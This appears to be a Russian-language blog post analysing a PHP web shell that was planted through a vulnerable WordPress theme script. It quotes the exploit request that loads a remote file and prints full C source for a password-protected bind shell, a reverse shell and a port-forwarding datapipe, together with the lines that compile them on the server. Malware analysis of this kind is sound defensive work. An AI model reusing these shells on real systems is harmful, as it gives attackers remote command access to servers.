Pull to refresh

Пример того, как сервер под управлением *nix может стать частью ботнета

Reading time 4 min
Views 24K
В последнее время на различных ресурсах появляются сообщения о том, что злоумышленники все чаще используют для осуществления DDoS-атак серверные конфигурации. Очевидно, что для использования такой системы необходимо сначала получить к ней доступ. Не так давно я столкнулся с довольно интересным, как мне показалось, образцом PHP Shell'а.

Итак, как же злоумышленники осуществляют загрузку вредоносного кода на сервер? Тут все банально – рассматриваемый образец был загружен в результате эксплуатации известной уязвимости:

"GET /wp-content/themes/newsworld/thumbopen.php?src=http%3A%2F%2Fpicasa.com.orland******.com/kikok.php HTTP/1.1" 400 447 "-" "Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"

Вот содержимое kikok.php: paste.ubuntu.com/5577560
После выполнения несложных операций по декодированию из base64 получим следующее: paste.ubuntu.com/5577565
На первый взгляд, типичный PHP Shell, что же тут такого необычного? В теле PHP-скрипта присутствует код на C:
Sample 1
$port_bind_bd_c="
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
int main(argc,argv)
int argc;
char **argv;
{  
 int sockfd, newfd;
 char buf[30];
 struct sockaddr_in remote;
 if(fork() == 0) { 
 remote.sin_family = AF_INET;
 remote.sin_port = htons(atoi(argv[1]));
 remote.sin_addr.s_addr = htonl(INADDR_ANY); 
 sockfd = socket(AF_INET,SOCK_STREAM,0);
 if(!sockfd) perror("socket error");
 bind(sockfd, (struct sockaddr *)&remote, 0x10);
 listen(sockfd, 5);
 while(1)
  {
   newfd=accept(sockfd,0,0);
   dup2(newfd,0);
   dup2(newfd,1);
   dup2(newfd,2);
   write(newfd,"Password:",10);
   read(newfd,buf,sizeof(buf));
   if (!chpass(argv[2],buf))
   system("echo welcome to r57 shell POWERED by d35m0 && /bin/bash -i");
   else
   fprintf(stderr,"Sorry");
   close(newfd);
  }
 }
}
int chpass(char *base, char *entered) {
int i;
for(i=0;i<strlen(entered);i++) 
{
if(entered[i] == '\n')
entered[i] = '\0'; 
if(entered[i] == '\r')
entered[i] = '\0';
}
if (!strcmp(base,entered))
return 0;
}
";

Sample 2
$back_connect_c="
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
 int fd;
 struct sockaddr_in sin;
 char rms[21]="rm -f "; 
 daemon(1,0);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(atoi(argv[2]));
 sin.sin_addr.s_addr = inet_addr(argv[1]); 
 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
   perror("[-] connect()");
   exit(0);
 }
 strcat(rms, argv[0]);
 system(rms);  
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd); 
}
";

Sample 3
$datapipe_c="
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <linux/time.h>
#ifdef STRERROR
extern char *sys_errlist[];
extern int sys_nerr;
char *undef = "Undefined error";
char *strerror(error)  
int error;  
{ 
if (error > sys_nerr)
return undef;
return sys_errlist[error];
}
#endif

main(argc, argv)  
  int argc;  
  char **argv;  
{ 
  int lsock, csock, osock;
  FILE *cfile;
  char buf[4096];
  struct sockaddr_in laddr, caddr, oaddr;
  int caddrlen = sizeof(caddr);
  fd_set fdsr, fdse;
  struct hostent *h;
  struct servent *s;
  int nbyt;
  unsigned long a;
  unsigned short oport;

  if (argc != 4) {
    fprintf(stderr,"Usage: %s localport remoteport remotehost\n",argv[0]);
    return 30;
  }
  a = inet_addr(argv[3]);
  if (!(h = gethostbyname(argv[3])) &&
      !(h = gethostbyaddr(&a, 4, AF_INET))) {
    perror(argv[3]);
    return 25;
  }
  oport = atol(argv[2]);
  laddr.sin_port = htons((unsigned short)(atol(argv[1])));
  if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    perror("socket");
    return 20;
  }
  laddr.sin_family = htons(AF_INET);
  laddr.sin_addr.s_addr = htonl(0);
  if (bind(lsock, &laddr, sizeof(laddr))) {
    perror("bind");
    return 20;
  }
  if (listen(lsock, 1)) {
    perror("listen");
    return 20;
  }
  if ((nbyt = fork()) == -1) {
    perror("fork");
    return 20;
  }
  if (nbyt > 0)
    return 0;
  setsid();
  while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) {
    cfile = fdopen(csock,"r+");
    if ((nbyt = fork()) == -1) {
      fprintf(cfile, "500 fork: %s\n", strerror(errno));
      shutdown(csock,2);
      fclose(cfile);
      continue;
    }
    if (nbyt == 0)
      goto gotsock;
    fclose(cfile);
    while (waitpid(-1, NULL, WNOHANG) > 0);
  }
  return 20;

 gotsock:
  if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
    fprintf(cfile, "500 socket: %s\n", strerror(errno));
    goto quit1;
  }
  oaddr.sin_family = h->h_addrtype;
  oaddr.sin_port = htons(oport);
  memcpy(&oaddr.sin_addr, h->h_addr, h->h_length);
  if (connect(osock, &oaddr, sizeof(oaddr))) {
    fprintf(cfile, "500 connect: %s\n", strerror(errno));
    goto quit1;
  }
  while (1) {
    FD_ZERO(&fdsr);
    FD_ZERO(&fdse);
    FD_SET(csock,&fdsr);
    FD_SET(csock,&fdse);
    FD_SET(osock,&fdsr);
    FD_SET(osock,&fdse);
    if (select(20, &fdsr, NULL, &fdse, NULL) == -1) {
      fprintf(cfile, "500 select: %s\n", strerror(errno));
      goto quit2;
    }
    if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) {
      if ((nbyt = read(csock,buf,4096)) <= 0)
	goto quit2;
      if ((write(osock,buf,nbyt)) <= 0)
	goto quit2;
    } else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) {
      if ((nbyt = read(osock,buf,4096)) <= 0)
	goto quit2;
      if ((write(csock,buf,nbyt)) <= 0)
	goto quit2;
    }
  }

 quit2:
  shutdown(osock,2);
  close(osock);
 quit1:
  fflush(cfile);
  shutdown(csock,2);
 quit0:
  fclose(cfile);
  return 0;
}
";


Код компилирурется непосредственно на сервере:
 cf("/tmp/bd.c",$port_bind_bd_c);
 $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
...

Согласитесь, весьма необычная реализация.
А вот как реагирует на подобного рода семплы антивирусная индустрия в целом: www.virustotal.com/ru/file/4d0d5be4e24ba5b4f0c2cca2398e2ac123bd5c13e8eeadd07fc0c1a1fb61bb1f/analysis/1362169702
Tags:
Hubs:
+32
Comments 59
Comments Comments 59

Articles